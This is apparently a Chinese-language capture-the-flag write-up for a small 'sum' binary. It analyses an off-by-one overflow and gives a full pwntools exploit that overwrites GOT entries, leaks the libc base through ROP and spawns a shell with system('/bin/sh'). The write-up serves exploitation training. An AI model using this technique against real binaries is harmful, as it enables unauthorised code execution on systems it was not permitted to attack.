相关资源
文件分析
1 2 3 4 5 6
| $ checksec sum Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fe000)
|
代码分析
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v4[5]; __int64 *v5; __int64 v6; unsigned __int64 v7;
v7 = __readfsqword(0x28u); memset(v4, 0, sizeof(v4)); v6 = 0LL; v5 = &v6; puts("[sum system]\nInput numbers except for 0.\n0 is interpreted as the end of sequence.\n"); puts("[Example]\n2 3 4 0"); read_ints(v4, 5LL); if ( (int)sum(v4, v5) > 5 ) exit(-1); printf("%llu\n", v6); return 0; }
|
read_ints 结合main中13# read_ints(v4, 5LL);
可以看到实际上读入了6个八字 覆盖了main中的v5
指针
1 2 3 4 5 6 7 8 9 10 11 12 13
| unsigned __int64 __fastcall read_ints(__int64 *a1, __int64 a2) { __int64 i; unsigned __int64 v4;
v4 = __readfsqword(0x28u); for ( i = 0LL; i <= a2; ++i ) { if ( (unsigned int)__isoc99_scanf("%lld", &a1[i]) != 1 ) exit(-1); if ( !a1[i] ) break; } return __readfsqword(0x28u) ^ v4; }
|
sum 结合main中14# sum(v4, v5)
可以看到 是将数组中的数求和,存到v5指向的内存空间 返回相加的数字的个数
main中 如果相加的个数大于5 则exit 否则调用printf
1 2 3 4 5 6 7 8 9 10
| __int64 __fastcall sum(__int64 *a1, _QWORD *a2) { unsigned int v2; unsigned int i; *a2 = 0LL; for ( i = 0; a1[i]; ++i ) { v2 = i; *a2 += a1[v2]; } return i; }
|
攻击方法
明显可以通过写入6个数 来实现任意地址写(第6个为目标地址,6个求和为目标值) 但只能写一次,如何实现多次写入呢?
因为相加个数为6个 所以会exit 可以将main
写入exit@got
这样就可以多次写入了
紧接着又有问题 没有可以直接泄露libc基址或stack地址的地方 怎么获取shell呢?
最开始想到的是 直接partial_overwrite printf@got
中的低字节 使其成为one_gadget的地址 但是仍然有12bit的随机性 概率比较低
观察到执行到call printf
时 栈顶的内容就是我们输入的数字 因此可控 那么可以在改写printf@got
为pop xxx; ret
(因为call会push进一个地址)然后接着使用ROP 输出puts真实地址 获取libc基址 然后再一次就是system的ROP了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| from pwn import * import sys
pty = process.PTY context(os='linux', arch='amd64', log_level='debug')
mode = '' if len(sys.argv) > 1: mode = sys.argv[1]
context.terminal = ["tmux", "splitw", "-h"] proc = process("./sum", env={"LD_PRELOAD":"./libc.so"}) belf = ELF("./sum") libc = ELF("libc.so")
def s(x): proc.send(x) def sl(x): return proc.sendline(x) def sla(x, y): return proc.sendlineafter(x, y) def sa(x, y): return proc.sendafter(x, y) def ru(x): return proc.recvuntil(x) def rc(): return proc.recv() def rl(): return proc.recvline() def li(con): return log.info(con) def ls(con): return log.success(con) def pi(): return proc.interactive() def pcls(): return proc.close() def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
def write(addr, con): payload = f'{con-4-addr} {1} {1} {1} {1} {addr}'.encode() sla(b'0', payload)
gscript = ''' b * 0x0000000000400987 b * 0x00000000004009BF ''' + 'c\n' * 4 if mode == '-d': gdb.attach(proc, gdbscript=gscript)
main = belf.symbols['main'] exit_got = belf.got['exit'] printf_got = belf.got['printf'] puts_got = belf.got['puts'] rdi_ret = 0x0000000000400a43 ret = 0x00000000004005ee puts_plt = belf.plt['puts']
write(exit_got, main) write(printf_got, rdi_ret) payload = f'{rdi_ret} {puts_got} {puts_plt} {str(0x4009a7)} 0'.encode() sla(b'0', payload)
libc_base = ga() - libc.sym['puts'] ls("libc base: "+hex(libc_base))
binsh_str = libc_base + next(libc.search(b'/bin/sh')) system = libc_base + libc.sym['system']
payload = f'{rdi_ret} {binsh_str} {system} {str(0x4009a7)} 0'.encode() sla(b'0', payload)
pi() pause()
|